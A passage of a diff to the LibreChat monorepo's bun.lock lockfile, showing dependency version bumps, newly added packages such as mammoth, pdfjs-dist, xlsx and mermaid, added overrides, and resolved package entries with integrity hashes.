"^1.18.2", "express-static-gzip": "^2.2.0", "file-type": "^18.7.0", @@ -82,13 +84,15 @@ "keyv-file": "^5.1.2", "klona": "^2.0.6", "librechat-data-provider": "*", - "lodash": "^4.17.21", + "lodash": "^4.17.23", + "mammoth": "^1.11.0", + "mathjs": "^15.1.0", "meilisearch": "^0.38.0", "memorystore": "^1.6.7", "mime": "^3.0.0", "module-alias": "^2.2.3", "mongoose": "^8.12.1", - "multer": "^2.0.2", + "multer": "^2.1.1", "nanoid": "^3.3.7", "node-fetch": "^2.7.0", "nodemailer": "^7.0.11", @@ -104,15 +108,16 @@ "passport-jwt": "^4.0.1", "passport-ldapauth": "^3.0.1", "passport-local": "^1.0.0", + "pdfjs-dist": "^5.4.624", "rate-limit-redis": "^4.2.0", "sharp": "^0.33.5", "tiktoken": "^1.0.15", "traverse": "^0.6.7", "ua-parser-js": "^1.0.36", - "undici": "^7.10.0", + "undici": "^7.18.2", "winston": "^3.11.0", "winston-daily-rotate-file": "^5.0.0", - "youtube-transcript": "^1.2.1", + "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", "zod": "^3.22.4", }, "devDependencies": { @@ -124,7 +129,7 @@ }, "client": { "name": "@librechat/frontend", - "version": "0.8.2-rc2", + "version": "0.8.3", "dependencies": { "@ariakit/react": "^0.4.15", "@ariakit/react-core": "^0.4.17", @@ -135,11 +140,12 @@ "@librechat/client": "*", "@marsidev/react-turnstile": "^1.1.0", "@mcp-ui/client": "^5.7.0", + "@monaco-editor/react": "^4.7.0", "@radix-ui/react-accordion": "^1.1.2", - "@radix-ui/react-alert-dialog": "^1.1.15", + "@radix-ui/react-alert-dialog": "1.0.2", "@radix-ui/react-checkbox": "^1.0.3", "@radix-ui/react-collapsible": "^1.0.3", - "@radix-ui/react-dialog": "^1.1.15", + "@radix-ui/react-dialog": "1.0.2", "@radix-ui/react-dropdown-menu": "^2.1.1", "@radix-ui/react-hover-card": "^1.0.5", "@radix-ui/react-icons": "^1.3.0", @@ -174,9 +180,10 @@ "jotai": "^2.12.5", "js-cookie": "^3.0.5", "librechat-data-provider": "*", - "lodash": "^4.17.21", + "lodash": "^4.17.23", "lucide-react": "^0.394.0", "match-sorter": "^8.1.0", + "mermaid": "^11.13.0", "micromark-extension-llm-math": "^3.1.0", "qrcode.react": "^4.2.0", "rc-input-number": "^7.4.2", @@ -189,10 +196,9 @@ "react-gtm-module": "^2.0.11", "react-hook-form": "^7.43.9", "react-i18next": "^15.4.0", - "react-lazy-load-image-component": "^1.6.0", "react-markdown": "^9.0.1", "react-resizable-panels": "^3.0.6", - "react-router-dom": "^6.11.2", + "react-router-dom": "^6.30.3", "react-speech-recognition": "^3.10.0", "react-textarea-autosize": "^8.4.0", "react-transition-group": "^4.4.5", @@ -206,9 +212,11 @@ "remark-math": "^6.0.0", "remark-supersub": "^1.0.0", "sse.js": "^2.5.0", + "swr": "^2.3.8", "tailwind-merge": "^1.9.1", "tailwindcss-animate": "^1.0.5", "tailwindcss-radix": "^2.8.0", + "ts-md5": "^1.3.1", "zod": "^3.22.4", }, "devDependencies": { @@ -216,6 +224,7 @@ "@babel/preset-env": "^7.22.15", "@babel/preset-react": "^7.22.15", "@babel/preset-typescript": "^7.22.15", + "@happy-dom/jest-environment": "^20.8.3", "@tanstack/react-query-devtools": "^4.29.0", "@testing-library/dom": "^9.3.0", "@testing-library/jest-dom": "^5.16.5", @@ -224,10 +233,10 @@ "@types/jest": "^29.5.14", "@types/js-cookie": "^3.0.6", "@types/lodash": "^4.17.15", - "@types/node": "^20.3.0", + "@types/node": "^20.19.35", "@types/react": "^18.2.11", "@types/react-dom": "^18.2.4", - "@vitejs/plugin-react": "^4.3.4", + "@vitejs/plugin-react": "^5.1.4", "autoprefixer": "^10.4.20", "babel-plugin-replace-ts-export-assignment": "^0.0.2", "babel-plugin-root-import": "^6.6.0", @@ -238,23 +247,23 @@ "identity-obj-proxy": "^3.0.0", "jest": "^30.2.0", "jest-canvas-mock": "^2.5.2", - "jest-environment-jsdom": "^29.7.0", + "jest-environment-jsdom": "^30.2.0", "jest-file-loader": "^1.0.3", "jest-junit": "^16.0.0", + "monaco-editor": "^0.55.1", "postcss": "^8.4.31", - "postcss-loader": "^7.1.0", - "postcss-preset-env": "^8.2.0", + "postcss-preset-env": "^11.2.0", "tailwindcss": "^3.4.1", "typescript": "^5.3.3", - "vite": "^6.4.1", + "vite": "^7.3.1", "vite-plugin-compression2": "^2.2.1", - "vite-plugin-node-polyfills": "^0.23.0", - "vite-plugin-pwa": "^0.21.2", + "vite-plugin-node-polyfills": "^0.25.0", + "vite-plugin-pwa": "^1.2.0", }, }, "packages/api": { "name": "@librechat/api", - "version": "1.7.22", + "version": "1.7.25", "devDependencies": { "@babel/preset-env": "^7.21.5", "@babel/preset-react": "^7.18.6", @@ -266,7 +275,6 @@ "@rollup/plugin-replace": "^5.0.5", "@rollup/plugin-typescript": "^12.1.2", "@types/bun": "^1.2.15", - "@types/diff": "^6.0.0", "@types/express": "^5.0.0", "@types/express-session": "^1.18.2", "@types/jest": "^29.5.2", @@ -279,49 +287,60 @@ "jest": "^30.2.0", "jest-junit": "^16.0.0", "librechat-data-provider": "*", + "mammoth": "^1.11.0", "mongodb": "^6.14.2", - "rimraf": "^6.1.2", - "rollup": "^4.22.4", + "pdfjs-dist": "^5.4.624", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "ts-node": "^10.9.2", "typescript": "^5.0.4", + "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", }, "peerDependencies": { - "@aws-sdk/client-s3": "^3.758.0", + "@anthropic-ai/vertex-sdk": "^0.14.3", + "@aws-sdk/client-bedrock-runtime": "^3.970.0", + "@aws-sdk/client-s3": "^3.980.0", "@azure/identity": "^4.7.0", "@azure/search-documents": "^12.0.0", - "@azure/storage-blob": "^12.27.0", + "@azure/storage-blob": "^12.30.0", + "@google/genai": "^1.19.0", "@keyv/redis": "^4.3.3", - "@langchain/core": "^0.3.79", - "@librechat/agents": "^3.0.50", + "@langchain/core": "^0.3.80", + "@librechat/agents": "^3.1.55", "@librechat/data-schemas": "*", - "@modelcontextprotocol/sdk": "^1.24.3", - "axios": "^1.12.1", + "@modelcontextprotocol/sdk": "^1.27.1", + "@smithy/node-http-handler": "^4.4.5", + "axios": "^1.13.5", "connect-redis": "^8.1.0", - "diff": "^7.0.0", "eventsource": "^3.0.2", "express": "^5.1.0", "express-session": "^1.18.2", "firebase": "^11.0.2", "form-data": "^4.0.4", + "google-auth-library": "^9.15.1", + "https-proxy-agent": "^7.0.6", "ioredis": "^5.3.2", "js-yaml": "^4.1.1", "jsonwebtoken": "^9.0.0", "keyv": "^5.3.2", "keyv-file": "^5.1.2", "librechat-data-provider": "*", + "mammoth": "^1.11.0", + "mathjs": "^15.1.0", "memorystore": "^1.6.7", "mongoose": "^8.12.1", "node-fetch": "2.7.0", + "pdfjs-dist": "^5.4.624", "rate-limit-redis": "^4.2.0", "tiktoken": "^1.0.15", - "undici": "^7.10.0", + "undici": "^7.18.2", "zod": "^3.22.4", }, }, "packages/client": { "name": "@librechat/client", - "version": "0.4.51", + "version": "0.4.54", "devDependencies": { "@babel/core": "^7.28.5", "@babel/preset-env": "^7.28.5", @@ -351,8 +370,8 @@ "react": "^18.2.0", "react-dom": "^18.2.0", "react-i18next": "^15.4.0", - "rimraf": "^6.1.2", - "rollup": "^4.0.0", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "rollup-plugin-postcss": "^4.0.2", "rollup-plugin-typescript2": "^0.35.0", @@ -366,10 +385,10 @@ "@dicebear/core": "^9.2.2", "@headlessui/react": "^2.1.2", "@radix-ui/react-accordion": "^1.2.11", - "@radix-ui/react-alert-dialog": "^1.1.15", + "@radix-ui/react-alert-dialog": "1.0.2", "@radix-ui/react-checkbox": "^1.0.3", "@radix-ui/react-collapsible": "^1.1.11", - "@radix-ui/react-dialog": "^1.1.15", + "@radix-ui/react-dialog": "1.0.2", "@radix-ui/react-dropdown-menu": "^2.1.1", "@radix-ui/react-hover-card": "^1.0.5", "@radix-ui/react-icons": "^1.3.0", @@ -409,9 +428,9 @@ }, "packages/data-provider": { "name": "librechat-data-provider", - "version": "0.8.231", + "version": "0.8.302", "dependencies": { - "axios": "^1.12.1", + "axios": "^1.13.5", "dayjs": "^1.11.13", "js-yaml": "^4.1.1", "zod": "^3.22.4", @@ -420,7 +439,6 @@ "@babel/preset-env": "^7.21.5", "@babel/preset-react": "^7.18.6", "@babel/preset-typescript": "^7.21.0", - "@langchain/core": "^0.3.62", "@rollup/plugin-alias": "^5.1.0", "@rollup/plugin-commonjs": "^29.0.0", "@rollup/plugin-json": "^6.1.0", @@ -435,8 +453,8 @@ "jest": "^30.2.0", "jest-junit": "^16.0.0", "openapi-types": "^12.1.3", - "rimraf": "^6.1.2", - "rollup": "^4.22.4", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "rollup-plugin-typescript2": "^0.35.0", "typescript": "^5.0.4", @@ -447,7 +465,7 @@ }, "packages/data-schemas": { "name": "@librechat/data-schemas", - "version": "0.0.35", + "version": "0.0.38", "devDependencies": { "@rollup/plugin-alias": "^5.1.0", "@rollup/plugin-commonjs": "^29.0.0", @@ -456,15 +474,14 @@ "@rollup/plugin-replace": "^5.0.5", "@rollup/plugin-terser": "^0.4.4", "@rollup/plugin-typescript": "^12.1.2", - "@types/diff": "^6.0.0", "@types/express": "^5.0.0", "@types/jest": "^29.5.2", "@types/node": "^20.3.0", "jest": "^30.2.0", "jest-junit": "^16.0.0", "mongodb-memory-server": "^10.1.4", - "rimraf": "^6.1.2", - "rollup": "^4.22.4", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "rollup-plugin-typescript2": "^0.35.0", "ts-node": "^10.9.2", @@ -474,7 +491,7 @@ "jsonwebtoken": "^9.0.2", "klona": "^2.0.6", "librechat-data-provider": "*", - "lodash": "^4.17.21", + "lodash": "^4.17.23", "meilisearch": "^0.38.0", "mongoose": "^8.12.1", "nanoid": "^3.3.7", @@ -484,11 +501,20 @@ }, }, "overrides": { + "@anthropic-ai/sdk": "0.73.0", + "@hono/node-server": "^1.19.10", "axios": "1.12.1", "elliptic": "^6.6.1", + "fast-xml-parser": "5.3.8", "form-data": "^4.0.4", + "hono": "^4.12.4", "katex": "^0.16.21", + "langsmith": "0.4.12", "mdast-util-gfm-autolink-literal": "2.0.0", + "serialize-javascript": "^7.0.3", + "svgo": "^2.8.2", + "tslib": "^2.8.1", + "underscore": "1.13.8", }, "packages": { "@aashutoshrathi/word-wrap": ["@aashutoshrathi/word-wrap@1.2.6", "", {}, "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA=="], @@ -497,7 +523,11 @@ "@alloc/quick-lru": ["@alloc/quick-lru@5.2.0", "", {}, "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw=="], - "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.65.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-zIdPOcrCVEI8t3Di40nH4z9EoeyGZfXbYSvWdDLsB/KkaSYMnEgC7gmcgWu83g2NTn1ZTpbMvpdttWDGGIk6zw=="], + "@antfu/install-pkg": ["@antfu/install-pkg@1.1.0", "", { "dependencies": { "package-manager-detector": "^1.3.0", "tinyexec": "^1.0.1" } }, "sha512-MGQsmw10ZyI+EJo45CdSER4zEb+p31LpDAFp2Z3gkSd1yqVZGi0Ebx++YTEMonJy4oChEMLsxZ64j8FH6sSqtQ=="], + + "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.73.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "optionalPeers": ["zod"], "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-URURVzhxXGJDGUGFunIOtBlSl7KWvZiAAKY/ttTkZAkXT9bTPqdk2eK0b8qqSxXpikh3QKPnPYpiyX98zf5ebw=="], + + "@anthropic-ai/vertex-sdk": ["@anthropic-ai/vertex-sdk@0.14.4", "", { "dependencies": { "@anthropic-ai/sdk": ">=0.50.3 <1", "google-auth-library": "^9.4.2" } }, "sha512-BZUPRWghZxfSFtAxU563wH+jfWBPoedAwsVxG35FhmNsjeV8tyfN+lFriWhCpcZApxA4NdT6Soov+PzfnxxD5g=="], "@apideck/better-ajv-errors": ["@apideck/better-ajv-errors@0.3.6", "", { "dependencies": { "json-schema": "^0.4.0", "jsonpointer": "^5.0.0", "leven": "^3.1.0" }, "peerDependencies": { "ajv": ">=8" } }, "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA=="], @@ -525,19 +555,21 @@ "@aws-sdk/client-bedrock-agent-runtime": ["@aws-sdk/client-bedrock-agent-runtime@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/credential-provider-node": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/eventstream-serde-browser": "^4.2.4", "@smithy/eventstream-serde-config-resolver": "^4.3.4", "@smithy/eventstream-serde-node": "^4.2.4", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k2UeG/+Ka74jztHDzYNrpNLDSsMCst+ph3+e7uAX5Jmo40tVKa+sVu4DkV3BIXuktc6jqM1ewtfPNug79kN6JQ=="], - "@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.952.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/credential-provider-node": "3.952.0", "@aws-sdk/eventstream-handler-node": "3.936.0", "@aws-sdk/middleware-eventstream": "3.936.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/middleware-websocket": "3.936.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/token-providers": "3.952.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/eventstream-serde-browser": "^4.2.5", "@smithy/eventstream-serde-config-resolver": "^4.3.5", "@smithy/eventstream-serde-node": "^4.2.5", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-stream": "^4.5.6", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Xc1xqIz/OdFd23UQ6cvROD+3tfvDpp5dabMqUYXFiKlk5psMNM9xhzLwWK7DE1tr1ra/dui77w8JOiLA1dC7AA=="], + "@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.1004.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-node": "^3.972.18", "@aws-sdk/eventstream-handler-node": "^3.972.10", "@aws-sdk/middleware-eventstream": "^3.972.7", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/middleware-websocket": "^3.972.12", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/token-providers": "3.1004.0", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/eventstream-serde-config-resolver": "^4.3.11", "@smithy/eventstream-serde-node": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-t8cl+bPLlHZQD2Sw1a4hSLUybqJZU71+m8znkyeU8CHntFqEp2mMbuLKdHKaAYQ1fAApXMsvzenCAkDzNeeJlw=="], "@aws-sdk/client-cognito-identity": ["@aws-sdk/client-cognito-identity@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/client-sso-oidc": "3.623.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-kGYnTzXTMGdjko5+GZ1PvWvfXA7quiOp5iMo5gbh5b55pzIdc918MHN0pvaqplVGWYlaFJF4YzxUT5Nbxd7Xeg=="], "@aws-sdk/client-kendra": ["@aws-sdk/client-kendra@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/credential-provider-node": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-DWyNlC6BFhzoDkyKZ3xv0BC/xcXF3Tpq6j6Z42DXO9KEUjiGmC3se9l/GFEVtRLh/DR4p7cTJsxzA2QNuthRNg=="], - "@aws-sdk/client-s3": ["@aws-sdk/client-s3@3.758.0", "", { "dependencies": { "@aws-crypto/sha1-browser": "5.2.0", "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/credential-provider-node": "3.758.0", "@aws-sdk/middleware-bucket-endpoint": "3.734.0", "@aws-sdk/middleware-expect-continue": "3.734.0", "@aws-sdk/middleware-flexible-checksums": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-location-constraint": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/middleware-ssec": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/signature-v4-multi-region": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@aws-sdk/xml-builder": "3.734.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/eventstream-serde-browser": "^4.0.1", "@smithy/eventstream-serde-config-resolver": "^4.0.1", "@smithy/eventstream-serde-node": "^4.0.1", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-blob-browser": "^4.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/hash-stream-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/md5-js": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "@smithy/util-waiter": "^4.0.2", "tslib": "^2.6.2" } }, "sha512-f8SlhU9/93OC/WEI6xVJf/x/GoQFj9a/xXK6QCtr5fvCjfSLgMVFmKTiIl/tgtDRzxUDc8YS6EGtbHjJ3Y/atg=="], + "@aws-sdk/client-s3": ["@aws-sdk/client-s3@3.1004.0", "", { "dependencies": { "@aws-crypto/sha1-browser": "5.2.0", "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-node": "^3.972.18", "@aws-sdk/middleware-bucket-endpoint": "^3.972.7", "@aws-sdk/middleware-expect-continue": "^3.972.7", "@aws-sdk/middleware-flexible-checksums": "^3.973.4", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-location-constraint": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-sdk-s3": "^3.972.18", "@aws-sdk/middleware-ssec": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/signature-v4-multi-region": "^3.996.6", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/eventstream-serde-config-resolver": "^4.3.11", "@smithy/eventstream-serde-node": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-blob-browser": "^4.2.12", "@smithy/hash-node": "^4.2.11", "@smithy/hash-stream-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/md5-js": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/util-waiter": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-m0zNfpsona9jQdX1cHtHArOiuvSGZPsgp/KRZS2YjJhKah96G2UN3UNGZQ6aVjXIQjCY6UanCJo0uW9Xf2U41w=="], "@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.623.0", 